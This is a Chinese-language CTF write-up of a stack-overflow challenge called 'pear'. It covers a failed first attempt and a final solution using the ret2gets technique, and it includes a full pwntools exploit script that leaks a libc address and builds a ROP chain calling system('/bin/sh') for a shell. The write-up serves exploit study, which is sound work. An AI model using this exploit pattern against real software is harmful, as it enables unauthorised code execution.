pear 道阻且长,行则将至。
很高兴,学到了一种新的栈上的利用手法。好久没看栈,才发现在高版本的libc中pop rdi;ret几乎已经销声匿迹了,虽然gets在现在的程序中几乎已经不会再使用,但能够学习到这样巧妙的攻击方式还是很高兴的。
题目描述
一个平平无奇,看似十分简单的栈上的题目。一个很显而易见的溢出点gets
解题过程 本来以为就是一个ret2libc,但是脚本写了一半去寻找gadget的时候,发现没有pop rdi;ret,当时也没当一回事(主要是之前也没了解过ret2gets),之前也是遇到过几次没有pop rdi;ret的题目,一次是xyctf里面的ret2libc的复仇,还有一次是京麒的Oldwine。所以在最开始我以为是代码段的复用
误入歧途 通过我坚持不懈的查看代码段,我发现了一处可以利用的小片段
1 2 gadget1=0x0000000004011EC gadget2=0x00000000004011FD
我发现这里会根据rbp+0x80处的值设置rdi,所以很显而易见的,我想到了通过第一次覆盖的时候设置rbp的值到bss段上,那里存放着很多有用的地址例如:stdin,stdout之类的。然后我就可以设置rdi的值然后进行泄露。事实上,我也确实通过这一方法泄露出了stdout的地址
但是这样泄露的话,会进行栈迁移到bss段上(开始结尾的地方有一个leave ret,调用了printf后又会进行一次leave ret),然后就没办法控制后续程序,所以我修改了一下打算先调用这个gadget1=0x0000000004011EC #get&printf然后再调用gadget2=0x00000000004011FD #printf这样就可以控制返回地址的情况下泄露地址
这是我的代码
1 2 3 4 5 6 7 8 9 10 payload=b'a' *0x80 +p64(bss+0x80 +0x80 )+p64(gadget1) payload1=p64(main_addr)*2 +b'a' *0x70 +p64(bss+0x80 )+p64(gadget2) gdb.attach(io) io.sendline(payload) io.sendline(payload1)
我的想法是(看不明白也没关系,反正是错的)
然后,程序就崩了(此时我真的感觉自己的想法已经可以打穿这道题目了)
后来发现不知道为什么,把我要泄露的地方的地址给我改了,也不知道是什么原因,看了挺久,但是也没有什么解决办法。然后这道题目还找不到wp,就放弃了一段时间
步入正轨 之前偶然在群里看见有人在问ret2gets,打算找时间来学学,我一看,这不和我这道题目的条件和限制一模一样吗。
终于找到了正确的方向了,原来是ret2gets,之前没了解过,还在想为什么有人能做这么快,原来是我方向找错了。
尝试了一下
虽然还没做出来,但是已经有东西泄露出来了
感觉再调调就可以了,太高兴了
然后需要注意的就是对齐问题,加一个ret就可以了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 from pwn import * context(os='linux' , arch='amd64' , log_level='debug' ) elf=ELF('./pear' ) libc=ELF('/home/ouyang/.cache/.pwntools-cache-3.10/libcdb/sha1/5b02e178d9ded9b8c37a605e7a233687aa45f72f' ) libc_dir = "/home/ouyang/.cache/.pwntools-cache-3.10/libcdb/sha1" libc_file = libc_dir + "/5b02e178d9ded9b8c37a605e7a233687aa45f72f" io = process(["./pear" ], env={"LD_PRELOAD" : libc_file}) printf_plt=elf.plt['printf' ] printf_got=elf.got['printf' ] main_addr=elf.symbols['main' ] get_addr=0x401080 leave_ret=0x401209 bss=0x404030 gadget1=0x0000000004011EC gadget2=0x00000000004011FD ret=0x000000000040101a io.recvuntil(b'Please Enter your name: ' ) payload=b'a' *0x80 +p64(bss+0x80 )+p64(get_addr)+p64(get_addr)+p64(ret)+p64(printf_plt)+p64(main_addr) io.sendline(payload) io.sendline(b"%3$p" +b'\x01' ) io.sendline(b"%3$p" +b'\x01' ) io.recvuntil(b'Welcome to Tech Olympics 2025, Dear aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xb0@@' ) io.recvline() data=int (io.recv(14 ),16 )print ("stdin:" +hex (data)) offset=0x7f687603d8e0 -0x7f6875e3a000 libc_base=data-offset log.success("libc_base:" +hex (libc_base)) system_addr=libc_base+libc.symbols['system' ] binsh_addr=libc_base+next (libc.search(b'/bin/sh' )) io.recvuntil(b'Please Enter your name: ' ) payload2=b'a' *0x80 +p64(bss+0x80 )+p64(get_addr)+p64(get_addr)+p64(system_addr) gdb.attach(io) io.sendline(payload2) io.sendline(b'/bin' +p8(u8('/' )+1 )+b'sh\x00' ) io.sendline(b'/bin' +p8(u8('/' )+1 )+b'sh\x00' ) io.interactive()
应该是我的版本不对,这道题的版本太高了,我在pwndbg上调试的时候看到是可以执行system("/bin/sh\x00")的
参考 ret2gets感觉别人的文章已经写得很详细了,我就不冗余的再写技术介绍了。建议直接去看国外的那位大佬的文章,非常详细。
ret2gets 一种控制rdi的攻击方法
ret2gets